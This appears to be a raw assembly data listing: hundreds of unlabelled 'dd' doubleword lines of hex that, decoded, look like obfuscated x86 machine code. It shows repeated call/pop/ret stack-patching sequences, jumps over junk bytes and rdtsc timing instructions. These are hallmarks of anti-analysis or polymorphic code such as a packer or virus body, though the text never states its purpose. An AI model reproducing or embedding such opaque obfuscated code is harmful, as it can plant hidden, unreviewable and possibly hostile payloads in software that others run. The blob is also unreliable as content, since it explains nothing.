		dd 689h, 35BD2300h, 8D060319h, 322B59Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0F08FFD2Dh, 0FB06746h, 686h,	0E1BD8900h, 66060307h
		dd 8112AFBEh, 0FFFEFF23h, 0C8C0FFFh, 0F000000h,	689h, 0CBC68100h
		dd 663D1679h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F507A7C3h, 0F04C3F6h, 7C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 77BBE307h, 0A995FFh,	6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 2CBD53C3h, 0E045FCA0h
		dd 51BDC007h, 485BD89h,	505E0603h, 68E0F60h, 0F000000h
		dd 8Dh,	61C18B00h, 0E9240489h, 11h, 3C3737B8h, 935CAC78h
		dd 8BFBD09Fh, 0CA68A098h, 450E90Ch, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 27B007C3h
		dd 34F1A7E5h, 881B58Bh,	0B00603h, 1381BD29h, 70E60603h
		dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8B926AC3h, 30AA1B5h, 0D8B60F06h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 94C35646h, 0CE8630A2h
		dd 193E091h, 32431B5h, 13E96006h, 81000000h, 0C777992Ah
		dd 6E418544h, 0B61353F7h, 0C001864Dh, 9E905F7h,	0D9000000h
		dd 92364F82h, 16753170h, 0C9B58961h, 0BA060316h, 6, 22CDB50Bh
		dd 0C38B0603h, 0BE04E8C1h, 63AD819Eh, 6AE2F766h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0B30C350h, 3064DB5h,	89D82B06h, 326558Dh, 52509306h
		dd 0F525057h, 5F585A31h, 0BF53310Fh, 54547CE2h,	50585A5Eh
		dd 28E0F60h, 8B000000h,	0EDB866D7h, 6A9361EEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FFF4C355h, 316D9B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 29AE22DBh, 0EF108D68h
		dd 0A595FF96h, 0B0060323h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7AEBC332h
		dd 0FB8B66CCh, 6A70E6h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FCF45C3h, 0B89h, 5800F00h, 66000000h
		dd 0DBEFD781h, 6A71E4h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0BAE18BC3h, 0AA1B58Bh, 613C0603h
		dd 268830Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0E1C2B2C3h, 81C9EAD3h, 0D8B60FF3h
		dd 11E9h, 0B3DFBD00h, 0D179E85Ch, 37BA9782h, 0A9F5BB49h
		dd 6BAC7D6h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 4AEDC351h, 80134541h
		dd 8531F6EEh, 6030BDDh,	26B5BD8Bh, 0C38B0603h, 0CE9h, 0B6D3900h
		dd 9551E495h, 0C64727A2h, 4E8C1C3h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0C4C35646h,	0BB8F4E7Dh, 66F12583h
		dd 0F766F38Bh, 0FD8D01E2h, 2B060319h, 51006AD8h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 958D37DEh, 0AA404076h, 7E9C2A1h, 95000000h, 0CDB5EF45h
		dd 0E958ED34h, 0Dh, 682E4024h, 14AAA518h, 2257E9EDh, 0FD82B52h
		dd 16588h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E2FE8A43h, 0ADF17EE9h, 0E9B58BECh
		dd 0B906032Ch, 7, 6A00C183h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8180C351h, 1EF132D6h
		dd 0FD93B39h, 10986h, 0D98C6600h, 0F04C1F6h, 0F884h, 61BD8B00h
		dd 0FF060325h, 300A995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 8A3E68A4h, 6A5BF9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3E37F9C3h, 0FE9CADFh, 680h, 69B58B00h, 2B060317h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h
		dd 0C3564600h, 99AD4C44h, 0E938E0F0h, 7, 7798089Bh, 3D74837Ch
		dd 834h, 63860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 162D95C3h, 7C35A6F5h
		dd 0DE81DAD9h, 750549D8h, 39E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 17321BFh, 4617C52Bh
		dd 0B709E781h, 840F7033h, 5, 6813D5BFh,	66C08B38h, 0C38BFB8Bh
		dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0C26C0FC3h, 92B60ECBh, 19840Fh, 14E90000h
		dd 0EC000000h, 0A98C07CCh, 70950FDFh, 0B593D2FAh, 35F25009h
		dd 0FE96FA0h, 85C7F9BFh, 6033111h, 3503E91Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C8C35242h, 6B2DA878h
		dd 7FEFAFEEh, 8B5E52A8h, 81F98BC0h, 316D9BDh, 7D006h, 18850F00h
		dd 29000000h, 3252185h,	0D985FF06h, 89060316h, 31B798Dh
		dd 11852906h, 0FF060318h, 316D9B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 95FFD26Ah
		dd 60323A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	2FC35343h, 0D52D213h, 75B501D1h, 90060323h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0CAC35545h, 0FCE8469h
		dd 685h, 9858900h, 6606032Eh, 8D89F08Bh, 6031631h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9FC35646h, 0F2C7D525h
		dd 7E9h, 2183D700h, 57875F4Fh, 0DA24DF81h, 8D897C6Fh, 6032D51h
		dd 0CE9h, 0D9E99700h, 70BA460Dh, 3721DBA9h, 58BE66F6h
		dd 0F6816665h, 8D0F9692h, 1, 0D59589F8h, 8B060323h, 32629BDh
		dd 95B52B06h, 0F06032Fh, 97BEF3BFh, 0FC432D52h,	8B1FB460h
		dd 312F58Dh, 959D8B06h,	66060329h, 9067CF81h, 8B66FC61h
		dd 1DB589F0h, 8906030Ch, 3087DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 3C52BB60h
		dd 0B1953145h, 6A060315h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0CD40C352h,	0C6816591h
		dd 5F901143h, 0FFF741E9h, 0EE9FFh, 51C40000h, 0D71F07F5h
		dd 0D97FE656h, 20147FCBh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 3126E8C3h, 31CFD8Dh
		dd 4EB06h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 31A1C356h, 34B337D4h, 868B697Bh
		dd 0FECABF66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	9DC35242h, 2FE106FBh, 8DEB9C8Bh, 3130985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 81667204h, 90880AF7h, 0F88B9050h, 8960006Ah,	326B58Dh
		dd 0C98D8B06h, 61060307h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5E748FC3h, 0D8D896Ah
		dd 89060317h, 3009595h,	0C6858D06h, 89060706h, 32AB195h
		dd 5C08306h, 2D41B58Bh,	50900603h, 0AE95250h, 0DF000000h
		dd 54CDD5CBh, 7899A551h, 66310F63h, 5A38C5BEh, 66F89058h
		dd 6A31B8BEh, 0F08B5100h, 4808BF5Eh, 6A4631h, 5659D01h
		dd 95FF0603h, 6031DF9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0BC35040h, 0FD4EFBA5h, 8D61ECD2h, 699339Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 2CD7B519h, 1DB58982h, 0FF060320h, 55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0B7FBCC80h, 441AA4F1h, 0BD8B9BAEh, 6030B25h,	1D0185FFh
		dd 0BCBF0603h, 0E9539824h, 850h, 0E8h, 0ED815D00h, 60706D0h
		dd 81F7BF0Fh, 316D9BDh,	7D006h,	88860F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 82FDC351h, 2D9D8B0Bh, 6A06031Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C6FBC356h
		dd 7673403Fh, 0F60CCC6h, 68Ch, 0ED9D8900h, 0F060320h, 8161C8BFh
		dd 100E3h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FDB0B0Eh, 8D85h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 33A86EF8h, 0B7DD0061h, 0D8D2913h, 83060324h,	70536BDh
		dd 840F0006h, 3Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0F4C35040h, 0D875BBC9h, 983BCDF2h, 6840F30h
		dd 31000000h, 308F585h,	55E906h, 0BD8B0000h, 6032129h
		dd 53685C7h, 10607h, 0ABBE0000h, 0E911A5F2h, 3Bh, 7A9BD8Bh
		dd 85C70603h, 6070536h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
		dd 0F0450C55h, 0F4DCB5FCh, 0C5B58BE4h, 8D06032Eh, 31D2D9Dh
		dd 880F06h, 81000000h, 0FFFEFF23h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 235347AAh
		dd 0F567F158h, 0BD8B53BDh, 60317F5h, 25B5295Eh,	66060309h
		dd 0BD89DB8Ch, 6030D19h, 0F04C3F6h, 7984h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 6272341Ch, 0A995FFh,	6A0603h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 7DE6B4C3h, 9FDC2628h
		dd 0F8B70FA3h, 1D518D31h, 53500603h, 2404895Eh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7EC35040h, 824C6380h
		dd 0F4E9E984h, 8B000003h, 3085DB5h, 6600B006h, 0E67637BEh
		dd 1DB58B70h, 0E406031Dh, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 772C5Ah, 9589AD13h
		dd 60317C1h, 0E60BF66h,	6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0E838C355h
		dd 0Ch,	8A8BBDC0h, 47405356h, 4A9B64C9h, 800Fh,	0BA5F0000h
		dd 6, 0CE9h, 7F9AE800h,	559D016Dh, 0D4BA621Eh, 6AC38B26h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 34DFC355h, 0E834C9F7h, 0Ah, 0D53ACBFEh, 0D4E07CE6h
		dd 0B523E714h, 6030BBDh, 4E8C15Eh, 0E0D78166h, 0E2F7661Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h
		dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 62340CC3h, 6027C68h, 0B58BC4DAh, 6031E59h
		dd 0AE993h, 88180000h, 0C15E4D9Eh, 0B6FA8C22h, 0F525050h
		dd 93585A31h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	61C35141h, 7460457Ch, 0C2147109h, 0D9B5FFE3h, 6A060316h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 1EC1C352h, 966262B6h, 0FF6A1B22h,	323A595h
		dd 11B58B06h, 0B006030Fh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 10174FE9h
		dd 0CE9h, 2EC63800h, 936CEED6h,	0B2A13AAFh, 0DE854h, 44DE0000h
		dd 0BA7F7122h, 88535E4Fh, 81D58CF3h, 372B0DEFh,	70E65E59h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C4C35343h
		dd 764E929Ch, 0B58B71E4h, 603004Dh, 830F613Ch, 1EBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C0C35242h, 6B6E0D71h
		dd 51164671h, 3031B58Bh, 0F5E0603h, 6AD8B6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0BA2F6AC3h
		dd 0F38E601Fh, 68F0Fh, 85890000h, 603074Dh, 6BAh, 8ABE6600h
		dd 81C38B1Fh, 504B2AF6h, 4E8C143h, 9E950h, 0E53D0000h
		dd 52FCD705h, 5E98E207h, 2BE2F766h, 6E9D8h, 22410000h
		dd 1F9F280Ch, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5D324E96h, 892A29D0h, 30891B5h, 68B0F06h
		dd 81000000h, 0D0028D6h, 0FD82B1Fh, 11E88h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8F0F1126h, 6, 0C71B533h, 95310603h, 6030C8Dh, 7B9h
		dd 90BE6600h, 0C1837Dh,	1C800Fh, 10E80000h, 6D000000h
		dd 0C9145695h, 3D104B1Bh, 3C29BA89h, 893E6D6Ah,	321999Dh
		dd 8B665F06h, 0FD93BF2h, 0B686h, 0AE900h, 20B20000h, 9E1AA6B0h
		dd 7EBEE2Fh, 60D98C66h,	816696B1h, 61EE14F0h, 0F04C1F6h
		dd 7284h, 95FFF900h, 60300A9h, 3F84BE66h, 56006A5Bh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0CD686906h, 0B58B0D29h, 6032685h, 0BD8BC32Bh, 6032DC9h
		dd 8343Dh, 2C860F00h, 23000000h, 3169DB5h, 14E95706h, 0C0000000h
		dd 92B06C45h, 0B7D7363Ah, 0B4A762ADh, 0BC2D8BAEh, 5ED17D79h
		dd 26E9h, 0B5B58B00h, 8B060307h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B8FD1DCh
		dd 6AD88BC3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 4A22C352h, 65ED1820h, 0BD8B5DC4h
		dd 6032E95h, 22B585C7h,	7BB90603h, 0BD8B7CBEh, 6032C19h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0A83DE9C3h, 0DBF6638h, 81F08BCBh,	316D9BDh
		dd 7D006h, 35850F00h, 66000000h, 0C457C781h, 16D985FFh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 546A8DC3h, 87F8CB84h, 9D8925D6h, 60324C5h
		dd 16D9B5FFh, 0BD330603h, 603059Dh, 2EE2BF66h, 23A595FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 73CD3AC3h, 0B189EEDh, 0FF25996h, 68Fh, 2DB50300h
		dd 3106030Eh, 30B8D9Dh,	10E99006h, 0A6000000h, 1CCB48E3h
		dd 7840FEF8h, 0FB67C770h, 8126C680h, 0B8E8DFCFh, 7D8D891Fh
		dd 6006030Bh, 0D08B66F9h, 991DBF61h, 0B58B78F9h, 6032C3Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C35141h
		dd 0B84A2A68h, 81662215h, 609078DFh, 8B0F60h, 66000000h
		dd 2961FB8Bh, 323F195h,	6830F06h, 8B000000h, 30D0185h
		dd 61B58B06h, 61060325h, 0D999DF81h, 6A1FFEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5ED315C3h
		dd 0C7544B8Fh, 0FCD591Bh, 1289h, 0C870F00h, 81000000h
		dd 0B96100F7h, 65B58B7Ah, 56060321h, 0E681665Fh, 8D89B847h
		dd 6032369h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	31C35747h, 8A452EC7h, 1331E6C0h, 14C9B58Bh, 0B58B0603h
		dd 603074Dh, 0F9BF0F51h, 0F7D6E95Fh, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 710974C3h
		dd 8A0FC214h, 0
		dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0D6DD3C3h, 61B50357h, 5E06032Ch, 4EBh, 0B58B0000h
		dd 6032595h, 6820Fh, 8D890000h,	6032705h, 1309858Dh, 6FBE0603h
		dd 8902FC70h, 316C595h,	0AE89006h, 2F000000h, 0AE0F928Fh
		dd 56411DECh, 8B525018h, 0F310FF9h, 85h, 5E585A00h, 0BD899050h
		dd 60318BDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 6A3DC3h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 6CC35343h, 8DE10EBCh, 710C885h
		dd 0C11BE06h, 0C78163DCh, 62CB310Ch, 105C083h, 308658Dh
		dd 8B509006h, 90505FF3h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 12C35040h, 139864F8h,	0F6CBEA65h, 0CACF81BCh
		dd 0F8496236h, 263D8501h, 6A0603h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0EDC35646h,	2165B589h, 6A0603h
		dd 5859D89h, 95FF0603h,	6031DF9h, 7021EE81h, 9D8D3D6Bh
		dd 6069933h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	73C35646h, 0F574BC12h, 8BF6B70Fh, 32EE1B5h, 65958906h
		dd 0FF060308h, 0D9BD89D3h, 0FF060317h, 31D0185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 4B1A752Dh, 8B6310F1h, 323B5B5h, 7C4E906h, 0E80000h
		dd 5D000000h, 10D2ED81h, 8D290607h, 603219Dh, 16D9BD81h
		dd 7D00603h, 860F0000h,	173h, 919D8BF5h, 6A060309h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 3387C351h, 0C8539E36h, 0CE9h, 0D7179C00h, 0C9AE829Eh
		dd 9B5CB4ADh, 0E381C2h,	0F000001h, 586h, 4ECEBF00h, 0DB0B76B9h
		dd 9B850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 519C99C3h, 266B259Dh, 8B4D026Dh
		dd 32159B5h, 19B58B06h,	83060321h, 70F45BDh, 840F0006h
		dd 3Dh,	51BD8B51h, 5E06030Ch, 66E9h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 2DB74BAh, 0F5BE667Bh
		dd 6830FE0h, 8B000000h,	31881B5h, 4585C706h, 106070Fh
		dd 0E9000000h, 9, 0AE749F17h, 0B885454Bh, 19E9D6h, 0B70F0000h
		dd 4585C7F1h, 6070Fh, 0F000000h, 683h, 0FDBD0B00h, 8D060329h
		dd 309919Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0BC4C05B8h, 0F9B2446Eh, 15BD8B14h
		dd 8106032Ah, 0FFFEFF23h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 86DEDAA0h
		dd 85B501DCh, 0E9060314h, 0Fh, 4AB20722h, 43A1CD50h, 42AB9233h
		dd 6612B512h, 0BD29DB8Ch, 603085Dh, 0F04C3F6h, 8F84h, 1DBD8B00h
		dd 0FF060308h, 300A995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B58BC744h, 60320F5h
		dd 0FE9h, 0F9B50300h, 752DBA95h, 10F14B1Ah, 65AADC63h
		dd 50F88B90h, 52505250h, 810F310Fh, 0
		dd 310F585Ah, 0AE9h, 83750C00h,	0E19DB5BFh, 5A7A0C94h
		dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0DEB9E7C3h, 3FD8D82Bh, 0AA9EBF66h, 3BBE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 62E3A099h, 0A6DE7A4Dh, 0B58B4068h, 60307D9h
		dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E6B603C3h, 56006A70h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E4A524BBh
		dd 0D8B60F71h, 0A698589h, 8B0F0603h, 6,	0C15B589h, 6BA0603h
		dd 0F000000h, 0A83h, 4840F00h, 66000000h, 8BAFE1BFh, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 31CB4BE4h, 2BB2BE66h, 0E8C1F38Bh, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F7660969h
		dd 8BD82BE2h, 31D7DBDh,	79BD8B06h, 93060317h, 0BD899350h
		dd 6030475h, 19F1B503h,	0B5FF0603h, 60316D9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 8DC35343h, 58C0F15h
		dd 0BF000000h, 5E9101E1h, 0FF5B503h, 95FF0603h,	60323A5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E2C35343h
		dd 0D61808BFh, 0B00B02Ch, 3267DBDh, 6A70E606h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 26E9C352h, 3A57B103h, 79B589B9h, 0E4060319h,	57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 3CA524BBh, 9830F61h,	0FC000002h, 6AD8B60Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3D77C350h, 7182F3D6h, 6BA47DFh, 8B000000h, 0F8BF0FC3h
		dd 6A04E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 163C357h, 85200DBBh, 0EB9BD8Bh
		dd 0F7660603h, 1DBD8BE2h, 2B060316h, 0FB8B66D8h, 148B0F58h
		dd 0E9000000h, 0Fh, 473C3416h, 17A82285h, 94C80DF3h, 2B8D2005h
		dd 7D880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0E19AC353h,	90F4AFBh
		dd 320519Dh, 12E906h, 77E90000h, 11740817h, 41B3323Ch
		dd 4163238Ch, 0DD3640DCh, 7B9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 64D3630h, 5E8B01D3h
		dd 0BEBF66F7h, 0C183E0h, 81B52956h, 5F060323h, 194DB58Bh
		dd 0D93B0603h, 0FA860Fh, 0FBE0000h, 66228124h, 9509D98Ch
		dd 6030065h, 0F04C1F6h,	0C284h,	1D958900h, 0FF060326h
		dd 300A995h, 6E906h, 299C0000h,	0C3CA593Eh, 50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 896053E6h, 32EF1BDh,	6DBD8906h, 61060300h, 0E9C32B5Fh
		dd 8, 6E4FCA3Dh, 0B5943815h, 8343Dh, 64860F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 786FC350h, 5E6934E9h, 68C0Fh, 85090000h
		dd 6032F19h, 209D9509h,	4DE90603h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 869DC356h, 8D0B60D1h, 6032F9Dh, 491958Bh, 8B610603h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F6BF0F12h, 0D88BC38Bh, 0C7F38B66h, 31D2D85h
		dd 0BF1D9906h, 8E85Eh, 24E70000h, 272987D1h, 0B589BA94h
		dd 6030ED1h, 66C08B5Fh,	8D67E681h, 16D9BD81h, 7D00603h
		dd 850F0000h, 16h, 0C0DFB860h, 8B665153h, 85FF61F0h, 60316D9h
		dd 2015B58Bh, 0B5FF0603h, 60316D9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 8C35141h, 0BF669775h, 0BF0F517Dh
		dd 0A595FFF9h, 6A060323h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B110C351h,	0FDC75646h
		dd 9A87AC51h, 17C5B58Bh, 6A900603h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 1F50C353h
		dd 0F162DFA6h, 0CBCF8169h, 6070C555h, 9AB9F78Bh, 610DFB8Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C35242h
		dd 4203496Fh, 0E979DD7Ah, 0Bh, 4C9FDFB9h, 203155BEh, 0F7FC039h
		dd 800FF2BFh, 6, 25F9BD33h, 11E80603h, 14000000h, 19E20E3Fh
		dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 0DE9h, 0F016F00h
		dd 9FC65BA7h, 0D6612EDh, 0EE9781Dh, 9F000000h, 9CF318F6h
		dd 82F08BB3h, 341FAEC0h, 6A5FB7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 6911EBC3h, 0DC9B26F1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A8C35545h
		dd 0B58BB22Bh, 6031B9Dh, 14E8h,	0BE13BB00h, 8F0B6FD2h
		dd 0D638673Eh, 0EEB07800h, 171F47E6h, 0E68166E0h, 0E95E55EFh
		dd 0FFFFF842h, 0E958589h, 6A600603h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 741AC352h
		dd 3FACA97Bh, 49858956h, 0B9060314h, 0FFFFFFFEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 54C35545h, 0CB58D21h
		dd 0B58B0603h, 6031719h, 9918D21h, 6A0603h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 423932C3h
		dd 8BCDEE80h, 30CB58Dh,	0D2BF0F06h, 0F01E183h, 685h, 95DA8100h
		dd 8B7F9F90h, 309918Dh,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 4F709B2h, 0E9262692h
		dd 0Ch,	0F1CB8BBCh, 8735290h, 37A974C0h, 0F01E183h, 2585h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0C28BFC14h, 0B8D9D8Bh, 60610603h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 71C35545h, 8CBFC48Fh
		dd 0EAE540C1h, 2EB99D8Bh, 870F0603h, 6,	6419D8Bh, 0FEB90603h
		dd 8BFFFFFFh, 320499Dh,	0B58D2106h, 6A06032Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0DC4DC350h, 8B00CBECh, 3160595h, 0C9BD3106h,	2106032Dh
		dd 316998Dh, 0AEBF6606h, 9E848h, 0B6BC0000h, 0A8B36B80h
		dd 0E84584DEh, 11h, 0D485A922h,	0F0E1A13Bh, 0D87ACF98h
		dd 4222E7F1h, 8E0F23h, 5F000000h, 0B58D8B5Fh, 6A06032Eh
